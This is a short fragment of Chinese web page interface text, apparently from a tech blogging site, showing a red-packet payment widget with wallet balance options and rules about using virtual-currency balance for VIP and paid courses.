成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值